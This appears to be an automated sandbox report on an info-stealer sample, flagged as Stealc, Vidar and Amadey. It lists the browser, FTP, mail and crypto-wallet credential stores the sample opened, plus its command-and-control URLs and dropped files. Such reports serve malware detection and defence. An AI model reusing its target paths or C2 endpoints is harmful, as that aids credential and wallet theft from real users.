Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: Yara match

File source: Process Memory Space: bfb8bb0dc7.exe PID: 3152, type: MEMORYSTR

Remote Access Functionality

Yara detected Stealc

Source: Yara match	File source: 00000024.00000002.3089031616.000000000275A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.3085791494.0000000002727000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: bfb8bb0dc7.exe PID: 3152, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: bfb8bb0dc7.exe PID: 9104, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: bfb8bb0dc7.exe PID: 3152, type: MEMORYSTR

Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Code function: 11_2_6C830C40 sqlite3_bind_zeroblob,	11_2_6C830C40
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Code function: 11_2_6C830D60 sqlite3_bind_parameter_name,	11_2_6C830D60
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Code function: 11_2_6C758EA0 sqlite3_clear_bindings,	11_2_6C758EA0

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	11 Native API	1 Scripting	1 DLL Side-Loading	11 Disable or Modify Tools	2 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	1 DLL Side-Loading	1 Extra Window Memory Injection	1 Deobfuscate/Decode Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	4 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Scheduled Task/Job	1 Scheduled Task/Job	212 Process Injection	3 Obfuscated Files or Information	Security Account Manager	3 File and Directory Discovery	SMB/Windows Admin Shares	1 Email Collection	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	11 Registry Run Keys / Startup Folder	1 Scheduled Task/Job	23 Software Packing	NTDS	347 System Information Discovery	Distributed Component Object Model	Input Capture	114 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	11 Registry Run Keys / Startup Folder	1 DLL Side-Loading	LSA Secrets	761 Security Software Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Extra Window Memory Injection	Cached Domain Credentials	351 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	11 Masquerading	DCSync	13 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	351 Virtualization/Sandbox Evasion	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	212 Process Injection	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
6SoKuOqyNh.exe	100%	Avira	TR/Crypt.TPM.Gen
6SoKuOqyNh.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\1000003002\d27375200a.exe	100%	Joe Sandbox ML
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\random[1].exe	38%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\random[1].exe	53%	ReversingLabs	Win32.Trojan.Amadey
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\vcruntime140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	38%	ReversingLabs
C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	53%	ReversingLabs	Win32.Trojan.Amadey
C:\Users\user\AppData\RoamingFHJDBKJKFI.exe	53%	ReversingLabs	Win32.Trojan.Amadey

Source	Detection	Scanner	Label
https://getpocket.cdn.mozilla.net/v3/firefox/trending-topics?version=2&consumer_key=$apiKey&locale_l	0%	URL Reputation	safe
http://detectportal.firefox.com/	0%	URL Reputation	safe
http://www.mozilla.com0	0%	URL Reputation	safe
https://developer.mozilla.org/en-US/docs/Web/Web_Components/Using_custom_elements#using_the_lifecycl	0%	URL Reputation	safe
https://json-schema.org/draft/2019-09/schema.	0%	URL Reputation	safe
https://spocs.getpocket.com/spocs	0%	URL Reputation	safe
https://screenshots.firefox.com	0%	URL Reputation	safe
https://www.youtube.com	0%	URL Reputation	safe
https://shavar.services.mozilla.com	0%	URL Reputation	safe
https://completion.amazon.com/search/complete?q=	0%	URL Reputation	safe
https://ads.stickyadstv.com/firefox-etp	0%	URL Reputation	safe
https://xhr.spec.whatwg.org/#sync-warning	0%	URL Reputation	safe
https://www.amazon.com/exec/obidos/external-search/	0%	URL Reputation	safe
https://www.msn.com	0%	URL Reputation	safe
https://duckduckgo.com/ac/?q=	0%	Avira URL Cloud	safe
http://mozilla.org/#/properties/schemaVersion	0%	Avira URL Cloud	safe
http://85.28.47.31/8405906461a5200c/mozglue.dll~	100%	Avira URL Cloud	malware
http://85.28.47.31/8405906461a5200c/vcruntime140.dll	100%	Avira URL Cloud	malware
http://mozilla.org/#/properties/branches/anyOf/2/items/properties/features	0%	Avira URL Cloud	safe
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/switching-devices?utm_source=panel-def	0%	URL Reputation	safe
https://youtube.com/	0%	URL Reputation	safe
http://mozilla.org/#/properties/quickSuggestRemoteSettingsDataType	0%	Avira URL Cloud	safe
http://mozilla.org/#/properties/branches/anyOf/1/items/properties/feature/properties/value	0%	Avira URL Cloud	safe
https://content-signature-2.cdn.mozilla.net/	0%	URL Reputation	safe
https://json-schema.org/draft/2020-12/schema/=	0%	URL Reputation	safe
https://duckduckgo.com/chrome_newtab	0%	Avira URL Cloud	safe
http://mozilla.org/#/properties/disableGreaseOnFallback	0%	Avira URL Cloud	safe
https://www.amazon.com/	0%	URL Reputation	safe
https://fpn.firefox.com	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://www.youtube.com/	0%	URL Reputation	safe
https://addons.mozilla.org/firefox/addon/to-google-translate/	0%	URL Reputation	safe
https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=$apiKey&locale_lang=	0%	URL Reputation	safe
https://addons.mozilla.org/user-media/addon_icons/700/700308-64.png?modified=4bc8e79f	0%	Avira URL Cloud	safe
http://mozilla.org/#/properties/greasePaddingSize	0%	Avira URL Cloud	safe
https://bugzilla.mo	0%	URL Reputation	safe
http://85.28.47.31/8405906461a5200c/softokn3.dll5	100%	Avira URL Cloud	malware
http://85.28.47.31/8405906461a5200c/freebl3.dlll	100%	Avira URL Cloud	malware
https://www.youtube.com/accountUSERDOMAIN=user-PCUSERDOMAIN_ROAMINGPROFILE=user-PCUSERNAME=e	0%	Avira URL Cloud	safe
https://addons.mozilla.org/user-media/addon_icons/784/784287-64.png?modified=mcrushed	0%	Avira URL Cloud	safe
https://static.adsafeprotected.com/firefox-etp-js	0%	URL Reputation	safe
https://shavar.services.mozilla.com/	0%	URL Reputation	safe
https://developer.mozilla.org/docs/Web/API/Element/releasePointerCapture	0%	URL Reputation	safe
https://spocs.getpocket.com/	0%	URL Reputation	safe
http://mozilla.org/#/properties/channel	0%	Avira URL Cloud	safe
https://docs.google.com/	0%	Avira URL Cloud	safe
http://185.215.113.19/Vi9leo/index.php	100%	Avira URL Cloud	malware
http://mozilla.org/#/properties/branches	0%	Avira URL Cloud	safe
http://mozilla.org/#/properties/userFacingName	0%	Avira URL Cloud	safe
http://mozilla.org/#/properties/bucketConfig/properties/namespace	0%	Avira URL Cloud	safe
https://github.com/mozilla-services/screenshots	0%	Avira URL Cloud	safe
https://ac.ecosia.org/p	0%	Avira URL Cloud	safe
http://mozilla.org/#/properties/referenceBranch	0%	Avira URL Cloud	safe
http://mozilla.org/#/properties/quickSuggestSponsoredEnabled	0%	Avira URL Cloud	safe
http://mozilla.org/#/properties/featureIds	0%	Avira URL Cloud	safe
http://mozilla.org/#/properties/outcomes/items/properties/slug	0%	Avira URL Cloud	safe
http://mozilla.org/#/properties/branches/anyOf/1/items/properties/features/items/properties/value	0%	Avira URL Cloud	safe
http://mozilla.org/#/properties/branches/anyOf/2	0%	Avira URL Cloud	safe
http://mozilla.org/#/properties/outcomes/items	0%	Avira URL Cloud	safe
https://www.instagram.com/	0%	Avira URL Cloud	safe
https://www.youtube.com/accountNUMB	0%	Avira URL Cloud	safe
http://85.28.47.31/8405906461a5200c/softokn3.dll	100%	Avira URL Cloud	malware
http://mozilla.org/#/properties/quickSuggestSponsoredIndex	0%	Avira URL Cloud	safe
https://developer.mozilla.org/en-US/docs/Glossary/speculative_parsing	0%	Avira URL Cloud	safe
https://drive-daily-2.corp.google.com/	0%	Avira URL Cloud	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	Avira URL Cloud	safe
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	0%	Avira URL Cloud	safe
https://json-schema.org/draft/2019-09/schemaInstance	0%	Avira URL Cloud	safe
http://mozilla.org/#/properties/quickSuggestAllowPositionInSuggestions	0%	Avira URL Cloud	safe
https://drive-daily-1.corp.google.com/	0%	Avira URL Cloud	safe
http://85.28.47.31/8405906461a5200c/nss3.dll	100%	Avira URL Cloud	malware
http://mozilla.org/#/properties/csvImport	0%	Avira URL Cloud	safe
https://www.youtube.comweave:service:start-over	0%	Avira URL Cloud	safe
http://mozilla.org/#/properties/branches/anyOf/0/items/properties/feature	0%	Avira URL Cloud	safe
http://mozilla.org/#/properties/isRolloutAn	0%	Avira URL Cloud	safe
https://drive-daily-5.corp.google.com/	0%	Avira URL Cloud	safe
http://detectportal.firefox.coma	0%	Avira URL Cloud	safe
https://www.google.com/favicon.ico	0%	Avira URL Cloud	safe
https://www.youtube.com/accountC:	0%	Avira URL Cloud	safe
http://127.0.0.1:	0%	Avira URL Cloud	safe
http://mozilla.org/#/properties/quickSuggestImpressionCapsSponsoredEnabled	0%	Avira URL Cloud	safe
http://mozilla.org/#/properties/branches/anyOf/1/items/properties/features/itemsresource://gre/modul	0%	Avira URL Cloud	safe
http://mozilla.org/#/properties/idhttp://mozilla.org/#/properties/appIdhttp://mozilla.org/#/properti	0%	Avira URL Cloud	safe
http://85.28.47.31/5499d72b3a3e55be.php/B	100%	Avira URL Cloud	malware
http://mozilla.org/#/properties/isRollout	0%	Avira URL Cloud	safe
https://drive-preprod.corp.google.com/	0%	Avira URL Cloud	safe
http://mozilla.org/#/properties/recordNavigationalSuggestionTelemetry	0%	Avira URL Cloud	safe
https://www.iqiyi.com/	0%	Avira URL Cloud	safe
http://mozilla.org/#/properties/branches/anyOf/1/items/properties/feature/properties/enabled	0%	Avira URL Cloud	safe
http://mozilla.org/#/properties/branches/anyOf/2/items/properties/features/items/properties/featureI	0%	Avira URL Cloud	safe
http://mozilla.org/#/properties/branches/anyOf/2/items/properties/features/items	0%	Avira URL Cloud	safe
http://mozilla.org/#/properties/endDate	0%	Avira URL Cloud	safe
http://mozilla.org/#/properties/addonsFeatureGate	0%	Avira URL Cloud	safe
http://mozilla.org/#/properties/branches/anyOf/2/items/properties/ratio	0%	Avira URL Cloud	safe
http://mozilla.org/#/properties/addonsShowLessFrequentlyCap	0%	Avira URL Cloud	safe
http://mozilla.org/#/properties/localizations/anyOf/0/additionalProperties	0%	Avira URL Cloud	safe
http://mozilla.org/#/properties/autoFillAdaptiveHistoryEnabled	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
example.org	93.184.215.14	true	false	unknown
prod.detectportal.prod.cloudops.mozgcp.net	34.107.221.82	true	false	unknown
services.addons.mozilla.org	18.65.39.85	true	false	unknown
mitmdetection.services.mozilla.com	13.32.99.17	true	false	unknown
contile.services.mozilla.com	34.117.188.166	true	false	unknown
prod.content-signature-chains.prod.webservices.mozgcp.net	34.160.144.191	true	false	unknown
us-west1.prod.sumo.prod.webservices.mozgcp.net	34.149.128.2	true	false	unknown
ipv4only.arpa	192.0.0.170	true	false	unknown
prod.ads.prod.webservices.mozgcp.net	34.117.188.166	true	false	unknown
www.google.com	142.250.186.68	true	false	unknown
star-mini.c10r.facebook.com	157.240.251.35	true	false	unknown
prod.classify-client.prod.webservices.mozgcp.net	35.190.72.216	true	false	unknown
prod.balrog.prod.cloudops.mozgcp.net	35.244.181.201	true	false	unknown
twitter.com	104.244.42.129	true	false	unknown
ssl.bingadsedgeextension-prod-europe.azurewebsites.net	94.245.104.56	true	false	unknown
dyna.wikimedia.org	185.15.59.224	true	false	unknown
prod.remote-settings.prod.webservices.mozgcp.net	34.149.100.209	true	false	unknown
s-part-0045.t-0009.t-msedge.net	13.107.246.73	true	false	unknown
sni1gl.wpc.nucdn.net	152.199.21.175	true	false	unknown
youtube-ui.l.google.com	172.217.18.14	true	false	unknown
play.google.com	142.250.186.110	true	false	unknown
www3.l.google.com	142.250.184.206	true	false	unknown
reddit.map.fastly.net	151.101.65.140	true	false	unknown
googlehosted.l.googleusercontent.com	142.250.185.129	true	false	unknown
s-part-0032.t-0009.t-msedge.net	13.107.246.60	true	false	unknown
telemetry-incoming.r53-2.services.mozilla.com	34.120.208.123	true	false	unknown
www.reddit.com	unknown	unknown	true	unknown
spocs.getpocket.com	unknown	unknown	true	unknown
clients2.googleusercontent.com	unknown	unknown	true	unknown
content-signature-2.cdn.mozilla.net	unknown	unknown	true	unknown
support.mozilla.org	unknown	unknown	true	unknown
firefox.settings.services.mozilla.com	unknown	unknown	true	unknown
push.services.mozilla.com	unknown	unknown	true	unknown
www.youtube.com	unknown	unknown	true	unknown
www.facebook.com	unknown	unknown	true	unknown
detectportal.firefox.com	unknown	unknown	true	unknown
bzib.nelreports.net	unknown	unknown	true	unknown
accounts.youtube.com	unknown	unknown	true	unknown
18.31.95.13.in-addr.arpa	unknown	unknown	true	unknown
shavar.services.mozilla.com	unknown	unknown	true	unknown
www.wikipedia.org	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://85.28.47.31/8405906461a5200c/vcruntime140.dll	true	Avira URL Cloud: malware	unknown
http://185.215.113.19/Vi9leo/index.php	true	Avira URL Cloud: malware	unknown
http://85.28.47.31/8405906461a5200c/softokn3.dll	true	Avira URL Cloud: malware	unknown
http://85.28.47.31/8405906461a5200c/nss3.dll	true	Avira URL Cloud: malware	unknown
https://www.google.com/favicon.ico	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	BGCAFHCA.11.dr	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/ac/?q=	BGCAFHCA.11.dr	false	Avira URL Cloud: safe	unknown
https://getpocket.cdn.mozilla.net/v3/firefox/trending-topics?version=2&consumer_key=$apiKey&locale_l	firefox.exe, 00000016.00000003.3365196247.000001894178C000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://mozilla.org/#/properties/branches/anyOf/2/items/properties/features	firefox.exe, 00000016.00000003.3253730463.0000018937288000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://mozilla.org/#/properties/proposedEnrollment	firefox.exe, 00000016.00000003.3253730463.0000018937288000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://detectportal.firefox.com/	firefox.exe, 00000016.00000003.2976595363.00000189351D1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://mozilla.org/#/properties/schemaVersion	firefox.exe, 00000016.00000003.3253730463.0000018937288000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://mozilla.org/#/properties/branches/anyOf/1/items/properties/feature/properties/value	firefox.exe, 00000016.00000003.3253730463.0000018937288000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.mozilla.com0	firefox.exe, 00000016.00000003.3426978382.0000018948100000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000003.3397921737.00000189470CB000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://developer.mozilla.org/en-US/docs/Web/Web_Components/Using_custom_elements#using_the_lifecycl	firefox.exe, 00000016.00000003.3231288925.0000018944623000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://json-schema.org/draft/2019-09/schema.	firefox.exe, 00000016.00000003.3361812071.0000018941BD4000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://mozilla.org/#/properties/disableGreaseOnFallback	firefox.exe, 00000016.00000003.3252634014.00000189372C6000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://mozilla.org/#/properties/quickSuggestRemoteSettingsDataType	firefox.exe, 00000016.00000003.3253730463.0000018937288000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://spocs.getpocket.com/spocs	firefox.exe, 00000016.00000003.3359286606.0000018944562000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://85.28.47.31/8405906461a5200c/mozglue.dll~	bfb8bb0dc7.exe, 0000000B.00000002.3085791494.000000000277A000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://docs.google.com/	manifest.json.23.dr	false	Avira URL Cloud: safe	unknown
https://www.youtube.com/accountUSERDOMAIN=user-PCUSERDOMAIN_ROAMINGPROFILE=user-PCUSERNAME=e	firefox.exe, 00000011.00000002.2786986644.00000271F8EA8000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.3013910159.00000197DA1B0000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.3012330529.00000197D9F10000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.3013910159.00000197DA1B4000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000002B.00000002.3015090796.0000020633E70000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000002B.00000002.3012524075.0000020633CB0000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000002B.00000002.3015381995.0000020633FA4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://addons.mozilla.org/user-media/addon_icons/784/784287-64.png?modified=mcrushed	firefox.exe, 00000016.00000003.3253730463.0000018937288000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://screenshots.firefox.com	firefox.exe, 00000016.00000003.2988324990.00000189337C0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000003.3066184197.00000189337AE000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.youtube.com	firefox.exe, 00000016.00000003.3357377046.00000189447C3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000003.3162211301.0000018937D19000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://shavar.services.mozilla.com	firefox.exe, 00000016.00000003.3357377046.0000018944747000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://completion.amazon.com/search/complete?q=	firefox.exe, 00000016.00000003.2840438082.000001893534A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000003.2826493925.0000018935100000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000003.2835272663.0000018935329000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000003.2831875013.0000018935307000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
